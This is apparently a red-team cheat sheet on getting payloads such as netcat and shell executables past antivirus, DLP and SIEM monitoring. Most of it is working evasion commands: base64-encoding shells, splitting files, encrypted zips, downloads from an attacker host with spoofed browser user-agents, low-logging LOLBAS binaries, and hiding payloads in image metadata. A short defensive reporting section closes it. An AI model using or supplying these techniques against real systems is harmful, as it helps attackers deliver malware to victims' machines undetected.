πŸ›‘οΈ Methodology Checklist

  • Identify AV/EDR presence on target
  • Rename binaries to benign names before transfer
  • Encode payload: base64 encode on attacker, decode on target
  • Split file into chunks if size limits apply
  • Use alternate data streams (ADS) on NTFS to hide files
  • Transfer via DNS (dnscat2) or ICMP if HTTP/SMB blocked
  • Verify AV does not flag transferred file before execution

🎯 Operational Context

Use when: AV or DLP is scanning transfers and detecting payloads β€” encode, split, rename, or compress to bypass content inspection. Think Dumber First: Base64 encoding changes every byte signature while adding zero functionality overhead. base64 shell.exe | tr -d '\n' > shell.b64 β†’ transfer text β†’ base64 -d shell.b64 > shell.exe. Works against most static content inspection. Skip when: Target has behavioral EDR β€” encoding only bypasses static/signature inspection, not behavioral.


⚑ Tactical Cheatsheet

CommandTactical Outcome
Invoke-WebRequest http://[TARGET_IP]/nc.exe -OutFile nc.exeDefault IWR β€” leaves PowerShell UA in logs
[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="UA";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | flList built-in PowerShell UA strings
$UA=[Microsoft.PowerShell.Commands.PSUserAgent]::Chrome; Invoke-WebRequest http://[TARGET_IP]/nc.exe -UserAgent $UA -OutFile nc.exeDownload while impersonating Chrome
Invoke-WebRequest http://[TARGET_IP]/nc.exe -UserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/91.0.4472.124 Safari/537.36" -OutFile nc.exeHardcoded Chrome UA string
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/91.0.4472.124 Safari/537.36" http://[TARGET_IP]/nc.exe -o nc.execURL download with Chrome UA
GfxDownloadWrapper.exe "http://[TARGET_IP]/file.exe" "C:\Temp\file.exe"Intel GPU driver binary β€” minimal logging

πŸ”¬ Deep Dive & Workflow

How Blue Teams Detect File Transfers

Network-based detection is more robust than command-line logging (easily bypassed with obfuscation). SIEMs and NDR tools inspect HTTP User-Agent headers β€” many LOL binaries have hardcoded, distinctive UAs.

Known User-Agent Signatures (What Blue Teams See)

ToolUser-Agent StringDetection Risk
PowerShell Invoke-WebRequestMozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.0High β€” trivially identified
WinHttp COM objectMozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Medium
Msxml2 XMLHTTP COMMozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0)Medium β€” IE7 traffic is suspicious in modern environments
certutil.exeMicrosoft-CryptoAPI/10.0Critical β€” actively hunted
BITSMicrosoft BITS/7.8Medium β€” rare for user-initiated transfers
curl defaultcurl/7.x.xHigh β€” non-human UA

Spoofing the User-Agent (PowerShell)

# Option 1: Use built-in PSUserAgent class
$UA = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
Invoke-WebRequest http://[ATTACKER_IP]/nc.exe -UserAgent $UA -OutFile nc.exe
 
# Option 2: Hardcode a real browser string
$UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
Invoke-WebRequest http://[ATTACKER_IP]/nc.exe -UserAgent $UA -OutFile nc.exe

Blue Team impact: SIEM filters often exclude β€œstandard” browser UAs to reduce noise. Your download blends in with normal web browsing.

Spoofing the User-Agent (cURL)

curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/91.0.4472.124 Safari/537.36" http://[ATTACKER_IP]/nc.exe -o nc.exe

Evasion Decision Tree

  1. Transfer fails immediately? β†’ Check if UA is being filtered; try spoofing
  2. certutil flagged? β†’ Can’t change its UA; switch to BITSAdmin or Extrac32
  3. BITS transfer? β†’ Rare for users to initiate to external IPs; only use if stealth needed and target is monitoring UA carefully
  4. Maximum stealth required? β†’ Use GfxDownloadWrapper (Intel driver binary) or WinRM PSSession (no HTTP at all)

LOLBAS Binaries That Cannot Spoof UA

certutil, BITSAdmin, and BITS have hardcoded User-Agent strings and cannot be changed. Avoid these in high-security environments. Prefer Invoke-WebRequest with a spoofed UA or WinRM-based transfers.


πŸ› οΈ Troubleshooting & Edge Cases

ProblemCauseFix
Base64 transfer gets flaggedPattern detection not contentTry: encrypt with openssl enc, then transfer; or split into multiple small files
Renamed payload detectedHash-based detectionPatch a few bytes in the payload; recompile if source available; use custom encoder
Compressed archive detectedAV scans inside archivesPassword-protect zip: zip -e -P password shell.zip shell.exe β€” AV can’t scan encrypted archives
Chunked file transfer reassembly failsPart files corruptVerify: md5sum part_* on both sides; use cat part_* > reassembled not copy
Steganography tool not available on targetNo steg toolingUse data in image metadata: exiftool -Comment='[BASE64_PAYLOAD]' image.jpg; extract on target

πŸ“ Reporting Trigger

Finding Title: Payload Encoding and Obfuscation Bypasses Content Inspection Impact: Encoded or compressed payloads evade AV signature detection and DLP content inspection during file transfer, allowing malicious content to reach target systems undetected. Root Cause: Security controls rely on static content signatures rather than behavioral analysis. Encoded payloads have no matching signatures. Recommendation: Implement behavioral EDR that detects post-decode execution regardless of transfer encoding. Deploy sandbox detonation for unknown files. Apply file reputation checks at the perimeter.